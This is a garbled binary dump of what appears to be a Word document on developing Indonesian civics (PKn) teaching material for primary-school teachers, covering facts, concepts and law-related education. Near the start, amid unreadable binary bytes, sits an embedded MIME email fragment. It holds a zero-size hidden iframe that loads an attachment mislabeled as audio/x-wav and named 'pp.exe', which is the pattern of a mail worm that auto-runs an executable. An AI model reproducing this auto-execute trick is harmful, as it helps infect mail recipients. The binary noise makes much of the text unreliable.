\- ¥O@ h- Pþ Tþ %Z@ •O@ `þ <. ¶ ÏÊ D³© ÓÏà •Yç†Ðà | Pemb.doc DOC DOC l.doc c tf i Ilmu.ppt $´ ô©Qu•#' •u' ¬u' ìÄ" ûÄ" \€ \[( ”­ ãÉ|2 HO 2 Pengb Materi ˆ½ EO@ h ìÄ" ¬´ •#' X´ áËËt •u' ìÄ" „u' äÄ" ðx' Ì´ l´ €ÊËtàÄ" ÌÄ" Ì´ 5ÊËtÌÄ" ˆÄ" ðx' ` ˆÄ" üÄ" Ä´ 5ZËtüÄ" •u' HO2PEN~1.DOC aÎt` ` ä´ OËt8aÎtˆÄ" ÌÄ" |· ÛNËt ` ˆÄ" °Ã" îNËt> ß G P • ` €s-w• €s-w À– ( \µ 3é w€s-w ÄÄ" ÄÄ" ÄÅ" Å" ª T¸ ÄÄ" •u' / wp ! · ½ wp¼µ · í wp fÃ" wp(· P ! @c€P ! Xr! ! àÏ" * . i P ! l ˆÄ" l ø Ã" p4 wŸ4 wl mèp! ! €Ä" i h† Ä" Ä ! ˜o! H ! €Ä" ÈÅ" p¶ ¿, sx¶ Ķ ®. s lsÅ. s ' èx' ¬¶ •u' `t' ••( 0 ÊjÄFèx' ¨· X ß ß ð Ä ! o! Ã" ! øÃ" l m ! ¨Ã" ¸ “1 w8 ! o1 w²• } |` Ä" Ä ! ˜o! è ! w ! °Ã" ! Ä ! Xr! ! Ä ! Xr! ! P ! Xr! ˜ } P ˜ Ä (Ã" ˜o! Xr! ¸ Xr! èp! } (à " Ä ! ˜ y| À @¸ <· @”( ˆÍ M× w - þÿÿÿo1 whw °Ã" °Ã" и ¨Ã" P¸ p/úu ! °Ã" `¸ fRúu°Ã" °Ã" p¸ CRúu °Ã" €¸ çQúu°Ã" Ô¸ Ôpüu˜m! Ôpüu ˜m! °¸ QSúuÔpüuèº ˜m! ïMûu°¸ °¸ è q¨² – ¬¶ btamail.net.cn w8 o1 w w ² ð u' ‰uQu ø² pW¯u• C¼-GþÿÿÿšuQu • ðx' iZËtP ðx' ð ÊjÄF ¸ M× w - þÿÿÿo1 wh- w ð ' P •u' ø ̳ Ä “ºt P P ÔZËt•u' @ ß Ä • Ä •u' •#' " û• ´ ô©Qu•#' •u' •u' F ' Ò' д ž5 w8 ' Ÿ4 w~‘ w@¸ ' P ' ìÄ" ¬´ P ' F äÄ" ðx' Ì´ €s-w €s-w ï wÄ”( ˆµ ¼”( Hµ | ' áËËt P ' F °”( ¤´ 3é w€s-wˆµ à•( p”( ¤´ F ¤´ 9 m w t wæ• w@¸ h¸ Ò' Tþ p”( M× wv0 °”( n ¶ p”( n ¨µ G ¶ h €s-w8 €s-w °”( \µ 3é w€s-w@¸ 8 Ò' @¸ @¸ ¼”( ' ¸· ˜Ã w,•( |µ ä êÿ •o w ¶ h p ¨µ h¸ n Dq w D : \ D A T A \ F I l e D o s e n J u r u s a n P K n \ D r . H . S a p r i y a , M . E d \ * . * ° ( ' èx' `· ž5 w8 ' Ÿ4 wÎ’ Ò w ' P ' Þ¸ ŒuP ' ° ( t ' °[( N’ ' P ' à•( ÿÿÿç ' @ Ò' w • u' ðx' ðx' ëx' þÿÿÿŸ4 wÊ4 w4 P ' ' }pQ •¶ @ êx' èx' 0» Tþ M× wv- y' @”( y' @”( Ø· — } w q-w ðx' F F Ø· · ôd wTþ ì· Ðø w y' ¸ aÁQu y' 0» ìº Œ‹Qu ”½ €Ò' 0» p”( | ' D°ÿ´ ÏÊ º)º_ÑÏà i³¼ (º F @¹ Ž wȹ `þ Ò' @¹ ¡‹Qu €Ò' |Ž w•Ž wîœ t¸ @ p p ` Ò' F w (º %Z@ Ò' P ' ° ( | ' @ Hº ü¹ 0½ f w0½ º Ëe w(º (º Hº ü¹ (°ý• Hº `þ Ò' Tþ M× wvŒ P»' F 0 Œ \½ Wd w¼I wed wHº € U•ôd w? • ; # # `þ ¹ P ' 0½ (º Œ ðx' ôd wŸ Qu ˜¹ ,» ƒO@ ÿÿ \½ M× wjZ@ `¹ â• w(º P»' Œ ùe w(º 0½ º Õ w(º Hº º }pQ r € X jZ@ F ,½ # • €ÿÿ Õ ¢ Ô ¢ à-–ˆ û“• ÿÿÿÿ6ôaƒ4ýÿÿä 4ýÿÿÌ ZZ@ FZ@ Pþ Tþ %Z@ mO@ `þ \½ \½ ðx ' t ' o1 w ˆ½ O@ À½ `þ ˆ½ ˆ½ ðx' À½ ãÉ|2MK P´Í <O@ À½ ž µ ÏÊ º)º_ÑÏà ÐÙwd•ÌÊ MK Perencanaan PKn D 008.doc c a.doc e, teknik, model.ppt , dan model.doc pe: text/html Content-Transfer-Encoding: quoted-printable <html><HEAD></HEAD><body bgColor=3D#ffffff><iframe src=3Dcid:THE-CID height=3D0 width=3D0></iframe></body></html> --#BOUNMKPERE~1 DOC ersion: 1.0 Content-Type: audio/x-wav; name="pp.exe" Content-Transfer-Encoding: base64 Content-id: THE-CID h @ atau calon guru profesional khususnya dalam mempersiapkan kemampuan untuk kegiatan belajar mengajar di kelas PKn. Lebih jauh lagi, mengembangkan materi pembelajaran PKn ini penting bagi calon guru dan atau guru-guru pemula yang sering mengalami kesulitan dalam penguasaan materi dan mengembangkannya. Karakteristik Materi PKn Pada bagian pendahuluan di atas dalam bahan ajar ini, Anda telah mengenal dan memahami tujuan yang ingin dicapai dalam pengembangan bahan ajar ini. Pada topik bahan ajar ini fokus pembahasan diarahkan pada pemahaman guru Sekolah Dasar (SD) dalam menguasai materi PKn. Apa materi PKn itu, karaktersitik, serta ruang lingkupnya secara umum dan secara khusus yang perlu dikuasai oleh guru SD untuk tujuan pembelajaran. Oleh karena itu, apabila Anda sudah menguasai pembahasan materi, maka Anda akan sangat terbantu untuk menguasai materi berikutnya. Apa materi atau isi pendidikan kewarganegaraan (PKn)? Sebelum menguraikan materi PKn dan karakteristiknya untuk jenjang SD, terlebih dahulu perlu diuraikan pengertian materi itu sendiri. Merujuk pada Oxford Advanced Learner’s Dictionary (2000), istilah materi atau “material” dalam tulisan ini lebih tepat sebagai “a substance that things can be made from” (substansi yang dapat menghasilkan sesuatu) atau “things that are needed in order to do a particular activity” (sesuatu yang diperlukan untuk melakukan aktivitas tertentu). Sedangkan “content” berarti “the things that are contained in something” (hal-hal yang ada di dalam sesuatu). Apabila istilah materi dan “content” tersebut dikaitkan dengan Pendidikan Kewarganegaraan sebagai program pembelajaran untuk membangun warga negara yang cerdas dan baik (smart and good citizen), maka lahirlah sebuah pertanyaan, hal-hal substansi apa saja yang diperlukan atau yang harus ada dalam pendidikan kewarganegaraan untuk membangun warga negara tersebut? Pada bagian terdahulu telah dikemukakan bahwa misi utama dari PKn adalah membantu para siswa belajar agar menjadi warga yang memiliki rasa kebangsaan dan cinta tanah air serta bertanggung jawab dan berpartisipasi di masyarakat demokratis yang majemuk baik dalam aspek suku, bahasa, agama, budaya, maupun adat istiadat. Dengan kata lain, PKn sebagai mata pelajaran di sekolah sangat bertanggung jawab untuk menjadikan warga negara yang cerdas dan baik dalam hidup berbangsa dan bernegara. Oleh karena itu, perlu ada kejelasan materi pembelajaran PKn yang sesuai dengan tuntutan akademik, masyarakat, dan bangsa untuk mencapai tujuan PKn itu sendiri. Pertanyaan yang perlu mendapat jawaban dalam kegiatan belajar ini adalah apa dan bagaimana “content” pendidikan kewarganegaraan sebagai materi program pembelajaran. Hanna dan Lee (1962) pernah mengemukakan bahwa “content” untuk program pembelajaran Social Studies termasuk PKn dapat diadopsi dari berbagai sumber. Sedikitnya ada tiga sumber yang mudah diidentifikasi, yakni: Pertama, “informal content” yang dapat ditemukan dalam kegiatan masyarakat tempat para siswa berada, seperti kegiatan anggota pegawai negeri sipil, tentara, pemadam kebakaran, ekspedisi pendaki gunung, kegiatan anggota DPR dalam membuat dan mengesahkan undang-undang, dan lain-lain. Kedua, the formal disciplines of the pure or semisocial sciences, meliputi geografi penduduk, sejarah, ilmu politik, ekonomi, sosiologi, antropologi, psikologi sosial, jurisprudensi, filsafat dan etika serta bahasa. Menurut Hanna dan Lee, tiga disiplin pertama, geografi penduduk, sejarah, dan ilmu politik, “… have traditionally been the major reservoir for social studies content”. Namun, secara umum, formal content yang diadopsi dari ilmu-ilmu sosial utamanya terjadi pada awal abad ke-20. Pada masa itu, belum ada pemikiran orientasi “content” selain yang bersifat formal content. Baru pada pertengahan abad ke-20, “social studies content” banyak tergantung pada peristiwa terkini (current events) dan hal yang penting menurut siswa (pupil interest). Ketiga, the responses of pupils ialah tanggapantanggapan siswa baik yang berasal dari “informal content” (events) maupun dari “formal disciplines” (studies). Gagasan Hanna and Lee akan menjadi bahan yang berharga bagi pengembangan “content” PKn dengan catatan perlu ada seleksi disesuaikan dengan visi, misi dan karakteristik PKn. Misalnya, tiga disiplin ilmu sosial utama dalam social studies, meliputi geografi, sejarah dan ilmu politik, maka dalam PKn yang lebih dominan adalah ilmu politik dan hukum. Furman (1962:89) mengingatkan guru bahwa dalam mengembangkan program PKn hendaknya mengacu pada tiga sasaran, yakni: (1) to serve the needs of children (melayani kebutuhan siswa); (2) to serve the needs of society (melayani kebutuhan masyarakat); and (3) to understand and utilize the intellectual discipline called the social sciences (memahami dan memanfaatkan disiplin ilmu yakni disiplin ilmu-ilmu sosial). Saran dari Furman ini pada hakikatnya tidak jauh berbeda dengan gagasan dari Hanna dan Lee di atas, bahwa “content” untuk PKn hendaknya memperhatikan kebutuhan siswa, masyarakat dan disiplin ilmu-ilmu sosial. Hanya saja gagasan Furman lebih spesifik dan operasional yang diarahkan pada tugas guru untuk mengembangkan program pembelajaran di kelas. Furman menjelaskan lebih lanjut bahwa guru harus mengetahui dan mengerti betul tentang siswa di kelas, baik kecakapannya, kebutuhannya, kepentingannya, masalah yang dihadapi maupun pertumbuhan dan perkembangan serta latar belakang keluarganya. Guru pun perlu memahami kebutuhan dan harapan masyarakat sekitar tempat siswa tinggal. Masyarakat mungkin mengharapkan agar anak-anak belajar menjadi warga negara yang baik, yakni anggota masyarakat di tingkat lokal, nasional dan global. Para siswa hendaknya belajar menjadi warga negara yang produktif di daerahnya, berguna (useful) bagi bangsanya, dan berpikir kewarganegaraan (civicminded) ketika hidup dalam konteks global. Meskipun demikian, kecenderungan yang telah mendorong pada pemikiran orientasi siswa dan masyarakat sebagai trend baru hendaknya tidak meninggalkan sasaran pokok, yakni disiplin ilmu sosial dan kondisi kehidupan masyarakat, bangsa, dan negara. Oleh karena itu, guru pun perlu memahami dan memanfaatkan disiplin ilmu-ilmu sosial sebagai “content” untuk mengembangkan program PKn. Namun, perlu mendapat perhatian pula bahwa kegiatan pembelajaran hendaknya berbasis konteks kehidupan siswa dimana mereka berada. Oleh karena itu, pendekatan yang digunakan hendaknya pendekatan kontekstual. Dari dua konsepsi atau gagasan dari Hanna dan Lee dan Furman ini dapat disimpulkan bahwa materi “content” PKn, dengan merujuk pada gagasan “content” dan sasaran dalam social studies, hendaknya mempertimbangkan hal-hal yang bersifat informal content (the need of society), formal disciplines (social sciences), dan (the responses of pupils/the needs of children) dengan mempertimbangkan pula kebutuhan siswa, masyarakat, dasar negara, cita-cita, dan tujuan nasional sebagaimana yang dinyatakan dalam UUD 1945. Selain itu, Kosasih Djahiri (1979) pernah menegaskan bahwa materi PKn hendaknya lebih menitikberatkan pada pembinaan watak, pemahaman dan penghayatan nilai dan pengamalan Pancasila dan UUD 1945 sebagai falsafah dasar dan pandangan hidup bangsa, pembinaan siswa untuk melihat kenyataan, fokus belajar pada konsep yang benar menurut dan sesuai dengan Pancasila. Dengan demikian, penguasaan konsep dalam PKn memiliki kedudukan yang penting selain aspek afektif dan perilaku. Apa yang dimaksud konsep dalam PKn? Sebelum membahas tentang konsep, sebenarnya, ada dua unsur yang menjadi fokus materi pembelajaran PKn yang penting untuk jenjang Sekolah Dasar, yakni fakta (peristiwa, kasus aktual) dan konsep baik yang konkrit maupun abstrak. Oleh karena itu, sebelum membahas konsep terlebih dahulu perlu diuraikan tentang fakta. Untuk mendefinisikan “fakta” sesungguhnya tidaklah semudah yang sering kita bayangkan. Masih terdapat berbagai pendapat dan tafsiran yang cukup beragam. Namun, beberapa ahli Social Studies (Michaelis, 1980; Banks, 1984; Sunal and Haas, 1993; Jarolimek and Parker, 1993) mendefiniskan fakta dengan indikator yang tidak banyak perbedaan. Michaelis (1980) mengartikan sebagai berikut: ”Facts are statements of information that include concepts, but they apply only to a specific situation.” Banks (1984) mendefinisikan fakta dalam konteks kajian etnis, bahwa ”Facts are low-level, specific empirical statement about limited phenomena. Facts may be considered the lowest level of knowledge and have the least predictive capacity of all the knowledge forms.” Sedangkan menurut Sunal and Haas (1993) “Facts are forms of content that are single occurrences, taking place in the past or present.” Sunal dan Haas menambahkan bahwa fakta belum dapat memprediksi suatu peristiwa atau suatu tindakan. Namun, dengan melihat dari aspek perannya, Jarolimek dan Parker (1993) menyatakan bahwa informasi faktual sangat penting untuk memahami konsep dan generalisasi karena fakta akan memberikan rincian informasi yang mendukung dan elaborasi yang menjadikan konsep dan generalisasi itu bermakna. Suatu hal yang menarik dan perlu digarisbawahi dari pernyataan para pakar Social Studies di atas bahwa fakta itu sifatnya khusus ataupun terbatas, tidak bersifat general atau umum yang tidak terbatas dan posisinya berada pada tingkatan paling rendah dalam struktur ilmu pengetahuan. Namun, peran dan fungsinya sangat penting karena dapat berkontribusi terhadap kebermaknaan suatu konsep dan generalisasi. Selain itu, fakta dapat menunjukkan suatu sifat yang nyata, yang ditampilkan dengan benar-benar ada, terjadi, karena mempunyai realitas objektif. Dengan demikian, hal ini sangat sesuai dengan pernyataan Bachtiar (1997:112-113) bahwa “fakta” merupakan abstraksi dari kenyataan yang diamati yang sifatnya terbatas dan dapat diuji kebenarannya secara empiris. Fakta juga merupakan building blocks of knowledge yang digunakan untuk mengembangkan konsep (Fraenkel, 1980:94). Begitu juga menurut Sjamsuddin (1996:5), bahwa fakta umumnya erat hubungannya dengan jawaban atas apa, siapa, kapan, di mana, dan juga bisa berupa benda-benda (things) yang benar-benar ada atau peristiwa apa yang pernah terjadi pada masa lalu. Fakta harus dirumuskan atas dasar sistem kerangka berpikir tertentu. Fenomena yang sama akan menghasilkan fakta yang berbeda, apabila kerangka berpikir yang dipergunakan berbeda. Oleh karena itu, dalam konteks proses inkuiri, Banks menyatakan “Facts are the particular instances of events or things that in turn become the raw data or the observations of the social scientist” (Banks, 1977:84). (“Fakta adalah kejadian berbagai hal atau peristiwa yang tertentu yang pada gilirannya menjadi data mentah atau pengamatan para ilmuwan sosial”). Dalam pembelajaran PKn umumnya dan khususnya untuk jenjang kelas di Sekolah Dasar, fakta berupa kejadian, peristiwa, dan kasus aktual yang terkait dengan kewarganegaraan, kehidupan bermasyarakat, berbangsa, dan bernegara sangat penting. Bahkan materi pembelajaran PKn hendaknya dipersiapkan dan dikemas oleh para guru dengan mengadopsi dari kehidupan nyata (real life) masyarakat terutama para siswa pada tataran lokal, nasional, dan global. Beberapa contoh fakta yang dapat dimanfaatkan untuk materi dan proses pembelajaran antara lain: Negara Kesatuan Republik Indonesia (NKRI) diproklamasikan pada tanggal 17 Agustus 1945 di Jakarta oleh Soekarno dan Hatta. UUD 1945 disahkan pertama kali oleh PPKI dalam sidangnya pada tanggal 18 Agustus 1945. Pemilu di Indonesia pertama kali diselenggarakan pada tahun 1955. Memasuki era reformasi, UUD 1945 telah mengalami perubahan sebanyak empat kali, yakni pada tahun 1999, 2000, 2001, dan 2002. Sejumlah anggota organisasi masyarakat turun memenuhi jalan-jalan di ibu kota melakukan unjuk rasa menentang penyerangan Israel terhadap warga Palestina di Jalur Gaza. Demikian beberapa contoh fakta yang dapat diangkat oleh guru sebagai materi pembelajaran PKn. Apa konsep itu? Istilah “konsep” yang berkembang di masyarakat hampir selalu dikaitkan dengan “rancangan” atau ”draf” atau sesuatu yang belum selesai. Konotasi yang demikian sebetulnya tidak terlalu salah manakala kita melihatnya dari sisi teoretik yang bersifat abstrak. Namun, ruang lingkup “konsep” menyangkut juga hal-hal yang bersifat riil ataupun konkret. Nama-nama seperti gunung, danau, kursi, meja, pohon, mobil, kambing, ketimun, dan garam merupakan “konsep”. Di dunia ini, banyak jenis konsep baik yang konret ataupun abstrak ( seperti agama, kebaikan, pandai, merah, fantasi, kemenakan, gas, mertua ( semuanya adalah konsep-konsep yang tak terhingga jumlahnya. Jadi, kalau begitu apa konsep itu ? Schwab (1962: 12-14) mengemukakan bahwa konsep merupakan abstraksi, suatu konstruksi logis yang terbentuk dari kesan, tanggapan dan pengalaman-pengalaman kompleks. Pendapat Schwab tersebut sejalan dengan pendapat Banks (1977: 85) yang menyatakan bahwa “A concept is an abstract word or phrase that is useful for classifying or categorizing a group of things, ideas, or events”. Dengan demikian, pengertian konsep menunjuk suatu abstraksi, penggambaran dari sesuatu baik yang konkret maupun abstrak (tampak atau tidak tampak) atau dapat juga berbentuk pengertian/ definisi ataupun gambaran mental, atribut esensial dari suatu kategori yang memiliki ciri-ciri esensial yang relatif sama. Sebagai contoh konsep “demokrasi”. Jika dilihat dari jenis dan bentuknya demokrasi itu sangat beragam. Demokrasi Barat di Eropa Barat dan Amerika Serikat akan jauh berbeda jika dibandingkan dengan demokrasi di Cuba atau RRC. Tetapi apa yang membuat mereka berbeda-beda itu disebut “demokrasi”? Tentu saja karena mereka memiliki persamaan sebagai ciri esensialnya, yaitu “kekuasaan ada di tangan rakyat”. Itulah ciri-ciri esensial demokrasi. Dalam hal ini, kita dapat mengidentifikasi tentang nama-nama lain, seperti presiden, negara, pemerintahan, DPR dan sebagainya, yang dapat diketahui ciri-ciri esensialnya yang relatif sama. Dengan demikian, berbeda dengan fakta yang menekankan pada kekhususan, maka konsep memiliki ciri-ciri umum (common characteristics) yang sudah tentu pengertian konsep lebih luas daripada fakta. Fraenkel (1980:94-95) mengemukakan ”Whereas facts refer to a single object, event, or individual, concepts represent something common to several events, objects, or individual.” Lebih lanjut Fraenkel menyatakan bahwa “Concepts do not exist in reality, …” (sebenarnya konsep-konsep itu dalam kenyataannya tidak ada). Konsep itu berada dalam ide atau pikiran manusia. Semua realitas yang berada di sekeliling kita memasuki atau menyentuh indera-indera manusia sebagai informasi dari berbagai pengalaman. Kemudian, masukan-masukan indera (sensory input) tersebut diatur dan disusun dengan mengenakan simbol-simbol (label kata-kata) berdasarkan persamaan-persamaan esensial tersebut. Menurut Kagan (dalam Fraenkel, 1980:99-100), ada empat kualifikasi yang dapat diterapkan untuk menguji apakah suatu konsep telah memenuhi persyaratan. Keempat kualifikasi tersebut adalah sebagai berikut. Pertama, tingkat keabstrakan (degree of abstraction) dari konsep tersebut. Ada konsep yang memiliki tingkat keabstrakan rendah (“lowlevel” abstraction), misalnya bunga, kambing, dan pabrik, sehingga konsep-konsep ini telah mendekati tingkatan konkret. Namun ada konsep yang memiliki tingkat keabstrakan tinggi (“higher-level” abstraction), misalnya kebebasan, penghargaan, dan kecerdasan, yang hanya dapat dipahami oleh kemampuan tertentu, seperti kemampuan bahasa, ketajaman rasa, penyesuaian diri, dan kemampuan belajar. Kedua, kompleksitas (complexity). Konsep memiliki perbedaan dalam jumlah atribut (ciri-ciri, indikator) yang diperlukan untuk menjelaskan konsep tersebut. Semakin banyak atribut yang diperlukan untuk menjelaskan konsep, semakin kompleks konsep tersebut. Misalnya, konsep “kucing”, mungkin dapat didentifikasi dari beberapa atribut, seperti berkaki empat, berbulu lembut, bercakar, suara mengeong, dsb), tetapi untuk konsep “kebudayaan” tentunya memerlukan banyak sekali atribut sehingga konsep “kebudayaan, patriotisme, demokrasi, keadilan ” termasuk konsep-konsep yang kompleks. “The more complex a concept is, the greater its capacity to organize and synthesize large numbers of simpler concepts and specific facts. (1980:100). Ketiga, pembedaan (differentiation). Konsep juga berbeda dalam ciri dasar yang dapat ditafsirkan berbeda-beda sehingga masih perlu dijelaskan lagi. Misalnya, konsep ”kekayaan” tentu mengandung multi penafsiran karena konsep tersebut dapat berupa tanah, uang, rumah, alat rumah tangga, emas, dan sebagainya. Bandingkan dengan konsep obeng, tentu konsep ini akan mudah diidentifikasi. Keempat, pemusatan dimensi (centrality of dimensions). Makna sebuah konsep diperoleh dari satu atau dua atribut penting yang merujuk pada ciri utama dari ide yang diwakili oleh konsep. Misalnya, konsep ”wisatawan” akan terkait dengan atribut kunci ”travel”, ”bersenangsenang”, dan ”hotel”. Timbul pertanyaan, sebetulnya kita belajar mengenal konsep-konsep itu untuk apa? Untuk menjawab pertanyaan tersebut Fraenkel (1980:101-104) telah mengidentikasi kegunaan konsep bagi kehidupan manusia sebagai berikut. Pertama, konsep itu berguna untuk membantu mengatasi kerumitan lingkungan dan melakukan efisiensi dan efektivitas bagi manusia. Hal ini bisa kita fahami karena informasi-informasi itu kian terus bertambah banyak dan semuanya harus diidentifikasi dalam simbol-simbol yang dapat disepakati. Fraenkel (1980:101) menyatakan “Through concepts, we simplify and order the varying perceptions that we receive through our senses.” Konsepkonsep dapat disusun dengan cara mereduksi informasi-informasi tersebut menurut proporsi-proporsi yang dapat ditangani. Konsep dapat meliputi kelompok objek tertentu, peristiwa-peristiwa, individu-individu, atau ide-ide. Kedua, konsep membantu mengenali dan memahami bermacam-macam objek yang ada di sekitar kita. Fraenkel (1980:102) menyatakan “When an individual identifies an object, he places it into a class.” Sehingga dalam klasifikasi (kategorisasi) tersebut begitu nampak persamaan dan perbedaannya. Misalnya, ketika orang lain mengatakan panitia ad hoc atau rapat komisi, maka ia akan langsung melakukan identifikasi, klasifikasi, dan menghubungkan istilah tersebut dengan lembaga negara “Dewan Perwakilan Rakyat” (DPR). Dengan mengenal konsep, seseorang akan terhindar dari salah identifikasi atau miskonsep yang dapat menimbulkan persepsi yang keliru dan fatal. Ketiga, konsep dapat berfungsi untuk mereduksi keperluan yang sering dikatakan berulang-ulang terhadap sesuatu kajian yang serupa dan sudah diketahui. Misalnya, ketika orang sudah mengetahui konsep “legislatif”, maka ia akan menggunakan konsep tersebut untuk DPR, DPRD I di Propinsi, dan DPRD II di Kabupaten / Kota. Keempat, konsep dapat membantu untuk memecahkan masalah. Dengan menempatkan objek-objek, individu-individu, peristiwa-peristiwa, ataupun ide-ide kedalam kategori-kategori yang benar, kita dapat memperoleh beberapa wawasan bagaimana menangani sesuatu masalah tertentu yang dihadapi. Misalnya, seseorang yang mengetahui bahwa ia seorang ahli hukum, maka ia akan hati-hati dalam berbicara dan tidak mudah sembarang menuduh atau tindakan serupa lainnya yang berargumen berdasarkan hukum. Kelima, konsep juga berguna untuk menjelaskan (eksplanasi) sesuatu yang dianggap rumit ataupun memerlukan keterangan yang cukup panjang dan rinci. Banyak konsep-konsep yang kita ketahui sekarang diperoleh melalui proses pembelajaran ataupun pengenalan dari konsep-konsep sebelumnya yang dianggap baru. Dengan demikian konsep bisa dijadikan alat (tools) yang mengandung karakteristik-karakteristik umum untuk dianalisis sekalipun rumit. Misalnya, konsep “negara”, tentu memerlukan penjelasan yang memadai, karena kriteria untuk konsep “negara” tidaklah cukup hanya dengan kriteria ”wilayah” dan ”penduduk” belaka, melainkan harus disertai syarat-syarat lainnya. Keenam, konsep sebagai stereotipe (stereotypes), artinya bahwa mungkin konsep itu memberikan konotasi negatif. Hal ini terjadi ketika antara dua atau lebih kelompok manusia baik etnis, suku, atau bangsa saling berinteraksi dengan memberikan ”label” tertentu kepada etnis, suku, atau bangsa lain dengan karakteristik tertentu yang berkonotasi negatif. Di Indonesia juga sering kita dengar ungkapan-ungkapan yang bernada stereotipe. Contohnya: “Jawa koek”, “Cina licik”, “Padang bengkok”, “Orang Batak si tukang copet”, dan sebagainya. Bahkan dikalangan orang Barat-pun stereotipe dan etnosentrisme pernah hidup dan berkembang sebagaimana yang disebut Huntington (1998: 66) bahwa “In the nineteenth century the idea of “the white man’s burden” helped justify the extension of Western political and economic domination over non-Western societies” yang pada gilirannya melahirkan imperialisme dan kolonialisme terhadap bangsa-bangsa kulit berwarna. Ketujuh, konsep mewakili gambaran kepada kita tentang ”realitas” dan dunia kita sendiri. Menurut Fraenkel, kita sulit berpikir atau bahkan berpendapat tanpa konsep. Lebih lanjut dinyatakan ”We could not communicate, create a society, or carry out anything but the simplest and most animalistic behavior without them.” (Fraenkel, 1980: 103). Tujuh manfaat konsep ini tidak diragukan lagi kontribusinya terhadap pengembangan ilmu pengetahuan dan komunikasi dalam berbagai konteks kehidupan warga negara dan manusia umumnya. Demikianlah beberapa penjelasan tentang fakta dan konsep beserta contohcontohnya yang akan banyak ditemui dan bermanfaat dalam memahami dan menguasai materi PKn. Seorang calon guru atau guru profesional khususnya dalam bidang PKn dituntut untuk selalui melakukan pengkajian secara terus menerus mendalami dna memperluas wawasan terkait dengan materi PKn. Isi materi pembelajaran PKn snagat dinamis dan selalu mengalami perubahan sejalan dengan perkembangan bangsa dan negara terutama masalah politik dan hukum. Dua unsur ini sangat banyak memberikan warna dan pengaruh terhadap isi materi pembelajaran PKn. Mengapa demikian? Konsep kewarganegaraan yang berasal dari kata “warga negara” pada hakikatnya, membahas tentang hubungan warga negara dengan negara atau pemerintah dalam arti yang luas. Dalam hubungan tersebut sudah pasti terkait dengan masalah kepentingan, hak dan kewajiban, kekuasaan, peraturan hukum, dan konsep-konsep kenegaraan lainnya. Bagaimana agar hubungan yang terkait dengan kepentingan hidup dan kehidupan berbangsa dan bernegara dapat berjalan harmonis untuk mencapai tujuan nasional? Dua unsur penting, hukum dan politik, harus dapat berjalan secara sinergis. Kehidupan yang tertib, aman, dan damai merupakan bentuk kehidupan yang dicita-citakan oleh umat manusia. Untuk mewujudkan bentuk kehidupan tersebut, dibuatlah norma-norma perilaku yang disepakati bersama sebagai panduan dalam kehidupan bermasyarakat, berbangsa, dan bernegara. Salah satu norma yang dibuat untuk mengatur perilaku individu dalam masyarakat adalah norma hukum, yakni hukum negara. Disamping norma hukum terdapat sejumlah norma lainnya yang juga berfungsi untuk mengatur perilaku individu dalam masyarakat. Norma-norma tersebut antara lain meliputi norma kesopanan, adat-istiadat, kebiasaan, kesusilaan, dan norma agama. Kesadaran akan adanya norma yang mengatur perilaku individu dalam kehidupan bermasyarakat sangat penting untuk ditanamkan kepada setiap individu sejak usia dini. Oleh sebab itu, pendidikan hukum sebagai salah satu bentuk upaya penanaman kesadaran akan norma tingkah laku dalam masyarakat, dipandang sangat strategis untuk diberikan pada seluruh jenis dan jenjang pendidikan persekolahan. Tidak mungkin kita dapat mengharapkan tumbuhnya kesadaran dan kepatuhan hukum dari setiap individu warga negara tanpa upaya yang sadar dan terencana melalui proses pendidikan, baik pendidikan sekolah maupun pendidikan luar sekolah. Penanaman nilai-nilai dan norma-norma sosial kemasyarakatan merupakan salah satu bagian yang tak terpisahkan dari proses sosialisasi anak menuju realita kehidupan yang sesungguhnya di masyarakat. Program pendidikan hukum (law-related education) di persekolahan hendaknya diarahkan untuk membantu siswa memperoleh pengetahuan dan keterampilan yang diperlukan agar mereka kelak dapat berpartisipasi secara efektif dalam lembaga-lembaga hukum. Tujuan utama dari pendidikan hukum, seperti dikemukakan oleh Bank (1977: 258-259), adalah untuk membantu siswa mengembangkan pengetahuan, sikap, dan keterampilan yang diperlukan untuk memperoleh hak-hak hukumnya secara maksimum dalam masyarakat. Di samping itu, setiap warga negara memikul tanggung jawab atas terciptanya sistem hukum yang bekerja secara efektif dan adil. Para siswa hendaknya dibelajarkan untuk memperoleh kemampuan mengkaji persoalan-persoalan yang berkaitan dengan kesenjangan-kesenjangan yang acapkali terjadi antara cita-cita hukum dengan kenyataan, dan bagaimana kesenjangan tersebut dapat diatasi. Program pendidikan hukum di persekolahan bukan merupakan program yang berdiri sendiri melainkan merupakan bagian dari mata pelajaran Pendidikan Kewarganegaraan (PKn). Oleh karena itu, pendidikan kewarganegaraan dapat berfungsi pula sebagai pendidikan hukum. Menurut Bank (1977: 259), pendidikan hukum memuat tujuan-tujuan sebagai berikut. Sebagai hasil dari pendidikan hukum, siswa diharapkan dapat: Mengembangkan pemahaman tentang hak-hak dan tanggung jawabnya yang ditegaskan dalam konstitusi. Memahami tuntutan masyarakat akan peraturan dan hukum, sumber-sumber hukum, perubahan hukum, dan sanksi hukum. Memahami berbagai aspek hukum sipil yang mempengaruhi kehidupannya hukum perkawinan dan perceraian, perjanjian/kontrak, asuransi, kesejahteraan sosial, pajak, dan lembaga bantuan hukum. Memahami sistem peradilan, struktur organisasi dan fungsi lembaga penegak hukum. Mengembangkan pengetahuan dan sikapnya berkenaan dengan hukum dan sistem peradilan pidana - jadi mempersiapkan siswa untuk berpartisipasi dalam sistem hukum masyarakat kontemporer. Sementara itu, Center for Civic Education (CCE) dalam National Standards for Civics and Government (1997) mengembangkan sejumlah bahan ajar yang berkaitan dengan pendidikan hukum yang dapat disampaikan melalui PKn, antara lain meliputi: (1) fungsi dan tujuan dari peraturan dan hukum, (2) kedudukan hukum dalam sistem pemerintahan konstitusional, (3) perlindungan hukum terhadap hak-hak individu, (4) kriteria untuk mengevaluasi peraturan dan hukum, (5) hak warga negara, dan (6) tanggung jawab warga negara. Pada sisi lainnya, sumbangan ilmu politik terhadap PKn sangat signifikan karena sebagian besar materi PKn terkait dengan politik. Dapatkah mengemukakan konsep-konsep PKn apa saja yang berasal dari ilmu politik? Benar, banyak sekali konsep ilmu politik dalam PKn, seperti konsep negara, pemerintah, kekuasaan, DPR, MPR, presiden, pembagian kekuasaan, rakyat, masyarakat, bangsa, dan sebagainya. Pengembangan Materi Pembelajaran PKn Pada pembahasan dalam bahan ajar ini, Anda telah diperkenalkan dengan karakteristik materi PKn, meliputi pengertian, klasifikasi, dan jenis, serta contoh. Apakah Anda mendapat informasi baru tentang karakteristik materi PKn? Untuk kepentingan pembelajaran di kelas, sesuai dengan kedudukan Anda sebagai mahasiswa guru, maka pertanyaannya adalah bagaimana cara membelajarkan materi 